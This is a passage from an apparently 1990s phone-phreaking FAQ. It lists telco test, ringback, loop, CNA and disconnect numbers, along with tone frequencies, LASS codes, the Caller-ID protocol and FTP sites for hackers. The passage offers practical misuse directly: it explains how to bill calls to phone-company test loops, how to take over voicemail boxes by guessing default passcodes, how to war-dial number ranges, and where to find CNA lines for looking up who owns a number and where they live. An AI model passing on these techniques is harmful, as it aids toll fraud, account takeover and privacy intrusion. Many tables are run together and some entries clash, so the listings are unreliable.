415 760‑2878 San Francisco, CA

415 7600‑2222 San Francisco, CA

419 311 Toledo, OH

502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY 502 997‑555‑1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR

503 999 Portland, OR (GTE)

504 99882233 Baton Rouge/New Orleans, LA

504 201‑269‑1111 Baton Rouge/New Orleans, LA

504 998 Baton Rouge/New Orleans, LA

504 99851‑0000000000 Baton Rouge/New Orleans, LA

508 958 Fall River/New Bedford/Worchester, MA 508 200‑222‑1234 Fall River/New Bedford/Worchester, MA 508 200‑222‑2222 Fall River/New Bedford/Worchester, MA 508 26011 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA

512 830 Austin/Corpus Christi, TX

512 970‑xxxx Austin/Corpus Christi, TX

515 5463 Des Moines, IA

515 811 Des Moines, IA

516 958 Hempstead/Long Island, NY

516 968 Hempstead/Long Island, NY

517 200‑222‑2222 Bay City/Jackson/Lansing, MI

517 200200200200200 Bay City/Jackson/Lansing, MI

518 997 Albany/Schenectady/Troy, NY

518 998 Albany/Schenectady/Troy, NY

603 200‑222‑2222 NH

606 997‑555‑1212 Ashland/Winchester, KY

606 711 Ashland/Winchester, KY

607 993 Binghamton/Elmira, NY

609 958 Atlantic City/Camden/Trenton/Vineland, NJ 610 958 Allentown/Reading, PA

612 511 Minneapolis/St.Paul, MN

614 200 Columbus/Steubenville, OH

614 571 Columbus/Steubenville, OH

615 200200200200200 Chatanooga/Knoxville/Nashville, TN 615 2002222222 Chatanooga/Knoxville/Nashville, TN 615 830 Nashville, TN

616 200‑222‑2222 Battle Creek/Grand Rapids/Kalamazoo, MI 617 200‑222‑1234 Boston, MA

617 200‑222‑2222 Boston, MA

617 200‑444‑4444 Boston, MA (Woburn, MA)

617 220‑2622 Boston, MA

617 958 Boston, MA

618 200‑xxx‑xxxx Alton/Cairo/Mt.Vernon, IL

618 930 Alton/Cairo/Mt.Vernon, IL

619 211‑2001 San Diego, CA

703 811 Alexandria/Arlington/Roanoke, VA 704 311 Asheville/Charlotte, NC

708 1‑200‑555‑1212 Chicago/Elgin, IL

708 1‑200‑8825 Chicago/Elgin, IL (Last four change rapidly) 708 200‑6153 Chicago/Elgin, IL

708 724‑9951 Chicago/Elgin, IL

708 356‑9646 Chicago/Elgin, IL

713 380 Houston, TX

713 970‑xxxx Houston, TX

713 811 Humble, TX

714 114 Anaheim, CA (GTE)

714 211‑2121 Anaheim, CA (PacBell)

714 211‑2222 Anaheim, CA (Pacbell)

716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 717 958 Harrisburg/Scranton/Wilkes‑Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY 802 2‑222‑222‑2222 Vermont

802 200‑222‑2222 Vermont

802 1‑700‑222‑2222 Vermont

802 111‑2222 Vermont

805 114 Bakersfield/Santa Barbara, CA

805 211‑2345 Bakersfield/Santa Barbara, CA

805 211‑2346 Bakersfield/Santa Barbara, CA (Returns DTMF) 805 830 Bakersfield/Santa Barbara, CA

806 970‑xxxx Amarillo/Lubbock, TX

810 200200200200200 Flint/Pontiac/Southfield/Troy, MI 812 410‑555‑1212 Evansville, IN

813 311 Ft. Meyers/St. Petersburg/Tampa, FL 815 200‑xxx‑xxxx La Salle/Rockford, IL

815 290 La Salle/Rockford, IL

817 211 Ft. Worth/Waco, TX

817 970‑611‑1111 Ft. Worth/Waco, TX (Southwestern Bell) 818 1223 Pasadena, CA (Some 1AESS switches) 818 211‑2345 Pasadena, CA (English response)

818 211‑2346 Pasadena, CA (DTMF response)

903 970‑611‑1111 Denison, TX

906 1‑200‑222‑2222 Marquette/Sault Ste. Marie, MI

908 958 New Brunswick, NJ

910 200 Fayetteville/Greensboro/Raleigh/Winston‑Salem, NC 910 311 Fayetteville/Greensboro/Raleigh/Winston‑Salem, NC 910 988 Fayetteville/Greensboro/Raleigh/Winston‑Salem, NC 914 990‑1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970‑xxxx Abilene/El Paso, TX

916 211‑2222 Sacramento, CA (Pac Bell)

916 461 Sacramento, CA (Roseville Telepohone) 919 200 Durham, NC

919 711 Durham, NC

Canada:

204 644‑xxxx Manitoba

306 115 Saskatchewan, Canada

403 311 Alberta, Yukon and N.W. Territory 403 908‑222‑2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 416 997‑xxxx Toronto, Ontario

506 1‑555‑1313 New Brunswick

514 320‑xxxx Montreal, Quebec

519 320‑xxxx London, Ontario

604 1116 British Columbia, Canada

604 1211 British Columbia, Canada

604 211 British Columbia, Canada

613 320‑2232 Ottawa, Ontario

705 320‑4567 North Bay/Saulte Ste. Marie, Ontario

Australia:

+61 03‑552‑4111 Victoria 03 area

+612 19123 All major capital cities

United Kingdom:

175

12. What is a ringback number?

A ringback number is a number that you call that will immediately ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later.

13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations.

If the ringback for your NPA is not listed, try common ones such as 954, 957 and 958. Also, try using the numbers listed for other NPA's served by your telephone company.

NPA Ringback number Geographic area

‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

201 55?‑xxxx Hackensack/Jersey City/Newark/Paterson, NJ 202 958‑xxxx District of Columbia

203 99?‑xxxx CT

208 99xxx‑xxxx ID

213 1‑95x‑xxxx Los Angeles, CA

219 571‑xxx‑xxxx Gary/Hammond/Michigan City/Southbend, IN 219 777‑xxx‑xxxx Gary/Hammond/Michigan City/Southbend, IN 301 579‑xxxx Hagerstown/Rockville, MD

301 958‑xxxx Hagerstown/Rockville, MD

303 99X‑xxxx Grand Junction, CO

304 998‑xxxx WV

305 999‑xxxx Ft. Lauderdale/Key West/Miami, FL 312 511‑xxxx Chicago, IL

312 511‑xxx‑xxxx Chicago, IL

312 57?‑xxxx Chicago, IL

315 98x‑xxxx Syracuse/Utica, NY

317 777‑xxxx Indianapolis/Kokomo, IN

317 yyy‑xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number) 319 79x‑xxxx Davenport/Dubuque, Iowa

401 98?‑xxxx RI

404 450‑xxxx Atlanta, GA

407 988‑xxxx Orlando/West Palm Beach, FL

412 985‑xxxx Pittsburgh, PA

414 977‑xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 414 978‑xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 350‑xxxx San Francisco, CA

417 551‑xxxx Joplin/Springfield, MO

501 221‑xxx‑xxxx AR

501 721‑xxx‑xxxx AR

502 988 Frankfort/Louisville/Paducah/Shelbyville, KY 503 541‑XXXX OR

504 99x‑xxxx Baton Rouge/New Orleans, LA

504 9988776655 Baton Rouge/New Orleans, LA

505 59?‑xxxx New Mexico

512 95X‑xxxx Austin, TX

513 99?‑xxxx Cincinnati/Dayton, OH

513 955‑xxxx Cincinnati/Dayton, OH

516 660‑xxx‑xxxx Hempstead/Long Island, NY

601 777‑xxxx MS

609 55?‑xxxx Atlantic City/Camden/Trenton/Vineland, NJ 612 511 Minneapolis/St.Paul, MN

612 999‑xxx‑xxxx Minneapolis/St.Paul, MN

614 998‑xxxx Columbus/Steubenville, OH

615 930‑xxxx Chatanooga/Knoxville/Nashville, TN

616 946‑xxxx Battle Creek/Grand Rapids/Kalamazoo, MI 619 331‑xxxx San Diego, CA

619 332‑xxxx San Diego, CA

703 958‑xxxx Alexandria/Arlington/Roanoke, VA

708 511‑xxxx Chicago/Elgin, IL

714 330? Anaheim, CA (GTE)

714 33?‑xxxx Anaheim, CA (PacBell)

716 981‑xxxx Rochester, NY (Rochester Tel)

718 660‑xxxx Bronx/Brooklyn/Queens/Staten Island, NY 719 99x‑xxxx Colorado Springs/Leadville/Pueblo, CO 801 938‑xxxx Utah

801 939‑xxxx Utah

802 987‑xxxx Vermont

804 260 Charlottesville/Newport News/Norfolk/Richmond, VA 805 114 Bakersfield/Santa Barbara, CA

805 980‑xxxx Bakersfield/Santa Barbara, CA

810 951‑xxx‑xxxx Pontiac/Southfield/Troy, MI

813 711 Ft. Meyers/St. Petersburg/Tampa, FL 817 971 Ft. Worth/Waco, TX (Flashhook, then 2#) 906 951‑xxx‑xxxx Marquette/Sault Ste. Marie, MI

908 55?‑xxxx New Brunswick, NJ

908 953 New Brunswick, NJ

913 951‑xxxx Lawrence/Salina/Topeka, KS

914 660‑xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY

Canada:

416 57x‑xxxx Toronto, Ontario

416 99x‑xxxx Toronto, Ontario

416 999‑xxx‑xxxx Toronto, Ontario

506 572+xxx‑xxxx New Brunswick

514 320‑xxx‑xxxx Montreal, Quebec

613 999‑xxx‑xxxx Ottawa, Ontario

705 999‑xxx‑xxxx North Bay/Saulte Ste. Marie, Ontario

Australia: +61 199

Brazil: 199

New Zealand: 137

Sweden: 0058

United Kingdom: 174 or 1744 or 175 or 0500‑89‑0011

14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836‑9998 and 836‑9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number.

15. What is a loop in my area?

Many of these loops are no longer functional. If you are local to any of these loops, please try them out an e‑mail me the results of your research.

NPA High Low

‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

201 228‑9929 228‑9930

201 238‑9929 238‑9930

201 251‑9929 251‑9930

201 254‑9929 254‑9930

201 272‑9929 272‑9930

201 330‑9929 330‑9930

201 333‑9929 333‑9930

201 339‑9929 339‑9930

201 347‑9929 347‑9930

201 376‑9929 376‑9930

201 398‑9929 398‑9930

201 467‑9929 467‑9930

201 528‑9929 528‑9930

201 531‑9929 531‑9930

201 558‑9929 558‑9930

201 559‑9929 559‑9930

201 560‑9929 560‑9930

201 592‑9929 592‑9930

201 625‑9929 625‑9930

201 631‑9929 631‑9930

201 637‑9929 637‑9930

201 655‑9929 655‑9930

201 666‑9929 666‑9930

201 690‑9929 690‑9930

201 761‑9929 761‑9930

201 762‑9929 762‑9929

201 762‑9929 762‑9930

201 763‑9929 763‑9930

201 764‑9929 764‑9930

201 767‑9929 767‑9930

201 768‑9929 768‑9930

201 773‑9929 773‑9930

201 879‑9929 879‑9930

201 938‑9929 938‑9930

201 946‑9929 946‑9930

201 992‑9929 992‑9930

201 993‑9929 993‑9930

201 994‑9929 994‑9930

206 827‑0018 827‑0019

206 988‑0020 988‑0022

208 862‑9996 862‑9997

209 732‑0044 732‑0045

201 666‑9929 666‑9930

210 993‑9929 993‑9930

210 330‑9929 330‑9930

210 333‑9929 333‑9930

210 376‑9929 376‑9930

210 467‑9929 467‑9930

212 220‑9977 220‑9979

212 283‑9977 283‑9979

212 283‑9977 283‑9997

212 352‑9900 352‑9906

212 365‑9977 365‑9979

212 529‑9900 529‑9906

212 562‑9977 562‑9979

212 986‑9977 986‑9979

213 360‑1118 360‑1119

213 365‑1118 365‑1119

213 455‑0002 455‑XXXX

213 455‑0002 455‑xxxx

213 546‑0002 546‑XXXX

213 546‑0002 546‑xxxx

213 549‑1118 549‑1119

214 291‑4759 291‑4757

214 299‑4759 299‑4757

305 778‑9952 778‑9951

305 964‑9951 964‑9952

307 468‑9999 468‑9998

308 357‑0004 357‑0005

310 365‑1118 365‑1119

310 445‑0002 445‑????

310 455‑0002 455‑????

310 545‑0002 545‑????

310 546‑0002 546‑????

312 262‑9902 262‑9903

313 224‑9996 224‑9997

313 225‑9996 225‑9997

313 234‑9996 234‑9997

313 237‑9996 237‑9997

313 256‑9996 256‑9997

313 272‑9996 272‑9997

313 273‑9996 273‑9997

313 277‑9996 277‑9997

313 281‑9996 281‑9997

313 292‑9996 292‑9997

313 299‑9996 299‑9997

313 321‑9996 321‑9997

313 326‑9996 326‑9997

313 356‑9996 356‑9997

313 362‑9996 362‑9997

313 369‑9996 369‑9997

313 388‑9996 388‑9997

313 397‑9996 397‑9997

313 399‑9996 399‑9997

313 445‑9996 445‑9997

313 465‑9996 465‑9997

313 471‑9996 471‑9997

313 474‑9996 474‑9997

313 477‑9996 477‑9997

313 478‑9996 478‑9997

313 483‑9996 483‑9997

313 497‑9996 497‑9997

313 526‑9996 526‑9997

313 552‑9996 552‑9997

313 556‑9996 556‑9997

313 561‑9996 561‑9997

313 569‑9996 569‑9996

313 575‑9996 575‑9997

313 577‑9996 577‑9997

313 585‑9996 585‑9997

313 591‑9996 591‑9997

313 621‑9996 621‑9997

313 626‑9996 626‑9997

313 644‑9996 644‑9997

313 646‑9996 646‑9997

313 647‑9996 647‑9997

313 649‑9996 649‑9997

313 663‑9996 663‑9997

313 665‑9996 665‑9997

313 683‑9996 683‑9997

313 721‑9996 721‑9997

313 722‑9996 722‑9997

313 728‑9996 728‑9997

313 731‑9996 731‑9997

313 751‑9996 751‑9997

313 776‑9996 776‑9997

313 781‑9996 781‑9997

313 787‑9996 787‑9997

313 822‑9996 822‑9997

313 833‑9996 833‑9997

313 851‑9996 851‑9997

313 871‑9996 871‑9997

313 875‑9996 875‑9997

313 886‑9996 886‑9997

313 888‑9996 888‑9997

313 898‑9996 898‑9997

313 934‑9996 934‑9997

313 942‑9996 942‑9997

313 963‑9996 963‑9997

313 977‑9996 977‑9997

315 673‑9995 673‑9996

315 695‑9995 695‑9996

402 422‑0001 422‑0002

402 422‑0003 422‑0004

402 422‑0005 422‑0006

402 422‑0007 422‑0008

402 572‑0003 572‑0004

402 779‑0004 779‑0007

406 225‑9902 225‑9903

517 422‑9996 422‑9997

517 423‑9996 423‑9997

517 455‑9996 455‑9997

517 563‑9996 563‑9997

517 663‑9996 663‑9997

517 851‑9996 851‑9997

609 921‑9929 921‑9930

609 994‑9929 994‑9930

616 997‑9996 997‑9997

708 724‑9951 724‑????

713 224‑1499 759‑1799

713 324‑1499 324‑1799

713 342‑1499 342‑1799

713 351‑1499 351‑1799

713 354‑1499 354‑1799

713 356‑1499 356‑1799

713 442‑1499 442‑1799

713 447‑1499 447‑1799

713 455‑1499 455‑1799

713 458‑1499 458‑1799

713 462‑1499 462‑1799

713 466‑1499 466‑1799

713 468‑1499 468‑1799

713 469‑1499 469‑1799

713 471‑1499 471‑1799

713 481‑1499 481‑1799

713 482‑1499 482‑1799

713 484‑1499 484‑1799

713 487‑1499 487‑1799

713 489‑1499 489‑1799

713 492‑1499 492‑1799

713 493‑1499 493‑1799

713 524‑1499 524‑1799

713 526‑1499 526‑1799

713 555‑1499 555‑1799

713 661‑1499 661‑1799

713 664‑1499 664‑1799

713 665‑1499 665‑1799

713 666‑1499 666‑1799

713 667‑1499 667‑1799

713 682‑1499 976‑1799

713 771‑1499 771‑1799

713 780‑1499 780‑1799

713 781‑1499 997‑1799

713 960‑1499 960‑1799

713 977‑1499 977‑1799

713 988‑1499 988‑1799

805 528‑0044 528‑0045

805 544‑0044 544‑0045

805 773‑0044 773‑0045

808 235‑9907 235‑9908

808 239‑9907 239‑9908

808 245‑9907 245‑9908

808 247‑9907 247‑9908

808 261‑9907 261‑9908

808 322‑9907 322‑9908

808 328‑9907 328‑9908

808 329‑9907 329‑9908

808 332‑9907 332‑9908

808 335‑9907 335‑9908

808 572‑9907 572‑9908

808 623‑9907 623‑9908

808 624‑9907 624‑9908

808 668‑9907 668‑9908

808 742‑9907 742‑9908

808 879‑9907 879‑9908

808 882‑9907 882‑9908

808 885‑9907 885‑9908

808 959‑9907 959‑9908

808 961‑9907 961‑9908

810 362‑9996 362‑9997

813 385‑9971 385‑xxxx

908 254‑9929 254‑9930

908 558‑9929 558‑9930

908 560‑9929 560‑9930

908 776‑9930 776‑9930

16. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find it's phone number and then call the CNA operator to see who owns it and where they live.

Normal CNA numbers are available only to telephone company personnel. Private citizens may legally get CNA information from private companies. Two such companies are:

Unidirectory (900)933‑3330

Telename (900)884‑1212

Note that these are 900 numbers, and will cost you approximately one dollar per minute.

If you are in 312 or 708, AmeriTech has a pay‑for‑play CNA service available to the general public. The number is 796‑9600. The cost is $.35/call and can look up two numbers per call.

If you are in 415, Pacific Bell offers a public access CNA service at (415)781‑5271.

An interesting number is The House of Windsor Collection at (800)433‑3210. If you dial it and press 1 to request a catalog, it will ask for your telephone number. If will then tell you the street name of any telephone number you enter.

17. What is the telephone company CNA number for my area?

203 203‑771‑8080 CT

516 516‑321‑5700 Hempstead/Long Island, NY

614 614‑464‑0123 Columbus/Steubenville, OH

813 813‑270‑8711 Ft. Meyers/St. Petersburg/Tampa, FL

513 513‑397‑9110 Cincinnati/Dayton, OH

18. What are some numbers that always ring busy?

216 xxx‑9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH 303 431‑0000 Denver, CO

303 866‑8660 Denver, CO

316 952‑7265 Dodge City/Wichita, KS

501 377‑99xx AR

719 472‑3773 Colorado Springs/Leadville/Pueblo, CO 805 255‑0699 Bakersfield/Santa Barbara, CA

818 885‑0699 Pasadena, CA

906 632‑9999 Marquette/Sault Ste. Marie, MI 906 635‑9999 Marquette/Sault Ste. Marie, MI 914 576‑9903 Peekskill/Poughkeepsie/White Plains/Yonkers, NY

19. What are some numbers that temporarily disconnect phone service?

314 511 Columbia/Jefferson City/St.Louis, MO (1 minute) 404 420 Atlanta, GA (5 minutes) 405 953 Enid/Oklahoma City, OK (1 minute) 407 511 Orlando/West Palm Beach, FL (1 minute) 512 200 Austin/Corpus Christi, TX (1 minute) 516 480 Hempstead/Long Island, NY (1 minute) 603 980 NH

614 xxx‑9894 Columbus/Steubenville, OH

805 119 Bakersfield/Santa Barbara, CA (3 minutes) 919 211 or 511 Durham, NC (10 min ‑ 1 hour)

20. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC‑DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can be ftp'd from ftp.paranoia.com /pub/toneloc/.

A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones.

21. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

‑BQ‑

In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try.

‑EQ‑

It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate.

22. Where can I purchase a lineman's handset?

Contact East

335 Willow Street

North Andover, MA 01845‑5995

(508)682‑2000

Jensen Tools

7815 S. 46th Street

Phoenix, AZ 85044‑5399

Time Motion Tools

12778 Brookprinter Place

Poway, CA 92064

(619)679‑0303

23. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touchpad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones.

1209 1336 1477 1633

697 1 2 3 A

770 4 5 6 B

852 7 8 9 C

941 * 0 # D

24. What are the frequencies of the telephone tones?

Type Hz On Off

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dial Tone 350 & 400 ‑‑‑ ‑‑‑

Busy Signal 480 & 620 0.5 0.5

Toll Congestion 480 & 620 0.2 0.3

Ringback (Normal) 440 & 480 2.0 4.0

Ringback (PBX) 440 & 480 1.5 4.5

Reorder (Local) 480 & 620 3.0 2.0

Invalid Number 200 & 400

Hang Up Warning 1400 & 2060 0.1 0.1

Hang Up 2450 & 2600 ‑‑‑ ‑‑‑

25. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes:

(These appear to be standard, but may be changed locally)

Service Tone Pulse/rotary Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Assistance/Police *12 n/a [1]

Cancel forwarding *30 n/a [C1] Automatic Forwarding *31 n/a [C1]

Notify *32 n/a [C1] [2] Intercom Ring 1 (..) *51 1151 [3]

Intercom Ring 2 (.._) *52 1152 [3]

Intercom Ring 3 (._.) *53 1153 [3]

Extension Hold *54 1154 [3]

Customer Originated Trace *57 1157

Selective Call Rejection *60 1160 (or Call Screen) Selective Distinct Alert *61 1161

Selective Call Acceptance *62 1162

Selective Call Forwarding *63 1163

ICLID Activation *65 1165

Call Return (outgoing) *66 1166

Number Display Blocking *67 1167 [4]

Computer Access Restriction *68 1168

Call Return (incoming) *69 1169

Call Waiting disable *70 1170 [4]

No Answer Call Transfer *71 1171

Usage Sensitive 3 way call *71 1171

Call Forwarding: start *72 or 72# 1172

Call Forwarding: cancel *73 or 73# 1173

Speed Calling (8 numbers) *74 or 74# 1174

Speed Calling (30 numbers) *75 or 75# 1175

Anonymous Call Rejection *77 1177 [5] [M: *58] Call Screen Disable *80 1160 (or Call Screen) [M: *50] Selective Distinct Disable *81 1161 [M: *51] Select. Acceptance Disable *82 1162

Select. Forwarding Disable *83 1163 [M: *53] ICLID Disable *85 1165

Call Return (cancel out) *86 1186 [6] [M: *56] Anon. Call Reject (cancel) *87 1187 [5] [M: *68] Call Return (cancel in) *89 1189 [6] [M: *59]

Notes:

[C1] ‑ Means code used for Cellular One service

[1] ‑ for cellular in Pittsburgh, PA A/C 412 in some areas [2] ‑ indicates that you are not local and maybe how to reach you [3] ‑ found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up

[4] ‑ applied once before each call

[5] ‑ A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance)

[6] ‑ cancels further return attempts

[M: *xx] ‑ alternate code used for MLVP (multi‑line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige. It is an arrangement of ESSEX like features for single or small multiple line groups.

The reason for different codes for some features in MLVP is that call‑pickup is *8 in MLVP so all *8x codes are reaasigned *5x

26. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones. The new 900mhz cordless phones are not covered.

Channel Handset Transmit Base Transmit

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

1 49.670mhz 46.610mhz

2 49.845 46.630

3 49.860 46.670

4 49.770 46.710

5 49.875 46.730

6 49.830 46.770

7 49.890 46.830

8 49.930 46.870

9 49.990 46.930

10 49.970 46.970

27. What is Caller‑ID?

This FAQ answer is stolen from Rockewell:

Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first 4 second silent interval in the ringing cycle.

Parameters

~~~~~~~~~~

The data signalling interface has the following characteristics:

Link Type: 2‑wire, simplex

Transmission Scheme:Analog, phase‑coherent FSK

Logical 1 (mark)1200 +/‑ 12 Hz

Logical 0 (space)2200 +/‑ 22 Hz

Transmission Rate:1200 bps

Transmission Level:13.5 +/‑ dBm into 900 ohm load

Protocol

~~~~~~~~

The protocol uses 8‑bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below.

| Channel | Carrier | Message | Message | Data | Checksum | | Seizure | Signal | Type | Length | Word(s) | Word |

| Signal | | Word | Word | | |

Channel Siezure Signal

~~~~~~~~~~~~~~~~~~~~~~

The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump).

Carrier Signal

~~~~~~~~~~~~~~

The carrier signal consists of 130 +/‑ 25 mS of mark (1200 Hz) to condition the receiver for data.

Message Type Word

~~~~~~~~~~~~~~~~~

The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100).

Message Length Word

~~~~~~~~~~~~~~~~~~~

The message length word specifies the total number of data words to follow.

Data Words

~~~~~~~~~~

The data words are encoded in ASCII and represent the following information:

o The first two words represent the month

o The next two words represent the day of the month

o The next two words represent the hour in local military time o The next two words represent the minute after the hour

o The calling party's directory number is represented by the remaining words in the data word field

If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P".

Checksum Word

~~~~~~~~~~~~~

The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the reveived checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported.

Example CNS Single Data Message

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

An example of a received CND message, beginning with the message type word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date,time, and directory number words)

ASCII 30,39= 09; September

ASCII 33,30= 30; 30th day

ASCII 31,32= 12; 12:00 PM

ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)

ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555‑1212; calling party's directory number

51h= Checksum Word

Data Access Arrangement (DAA) Requirements

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task.

Modem Requirements

~~~~~~~~~~~~~~~~~~

Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information.

Signalling

~~~~~~~~~~

According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst

Applications

~~~~~~~~~~~~

Once CND information is received the user may process the information in a number of ways.

1. The date, time, and calling party's directory number can be displayed.

2. Using a look‑up table, the calling party's directory number can be correlated with his or her name and the name displayed.

3. CND information can also be used in additional ways such as for:

a. Bulletin board applications

b. Black‑listing applications

c. Keeping logs of system user calls, or

d. Implementing a telemarketing data base

References

~~~~~~~~~~

For more information on Calling Number Delivery (CND), refer to Bellcore publications TR‑TSY‑000030 and TR‑TSY‑000031.

To obtain Bellcore documents contact:

Bellcore Customer Service

60 New England Avenue, Room 1B252

Piscataway, NJ 08834‑4196

(908) 699‑5800

28. What is a PBX?

A PBX is a Private Branch Exchange. A PBX is a small telephone switch owned by a company or organization. Let's say your company has a thousand employees. Without a PBX, you would need a thousand phone lines. However, only 10% of your employees are talking on the phone at one time. What if you had a computer that automatically found an outside line every time one of your employees picked up the telephone. With this type of system, you could get by with only paying for one hundred phone lines. This is a PBX.

29. What is a VMB?

A VMB is a Voice Mail Box. A VMB is a computer that acts as an answering machine for hundreds or thousands of users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number and a pass code.

Without a passcode, you will usually be able to leave messages to users on the VMB system. With a passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the passcode will be the mailbox number or a common number such as 1234.

Section C: Resources

~~~~~~~~~~~~~~~~~~~~

01. What are some ftp sites of interest to hackers?

198.69.103.23 Mac)

aeneas.mit.edu

alex.sp.cs.cmu.edu /links/security (Misc) alife.santafe.edu

aql.gatech.edu /pub (40Hex) asylum.sf.ca.us

athena‑dist.mit.edu /pub/ATHENA (Athena Project) atlantis.utmb.edu

bellcore.com Bellcore)

camelot.usc.edu /pub/cellular/DDIinfodemo (Cellular)

cert.org CERT)

ciac.llnl.gov

coast.cs.purdue.edu /pub (Security/COAST) csrc.ncsl.nist.gov

dartmouth.edu /pub/security (Security) dg‑rtp.dg.com

ds.internic.net

enlow.com

ftp.3com.com /mirrors/zip (ZipCrypt) ftp.3com.com /Orange‑Book (Orange Book) ftp.acns.nwu.edu

ftp.alantec.com

ftp.armory.com /pub/user/kmartind (H/P) ftp.armory.com /pub/user/swallow

ftp.c3.lanl.gov

ftp.cc.rochester.edu

ftp.cert.dfn.de FIRST)

ftp.cic.net /pub/e‑serials/alphabetic/p/phrack (Zines) ftp.cisco.com
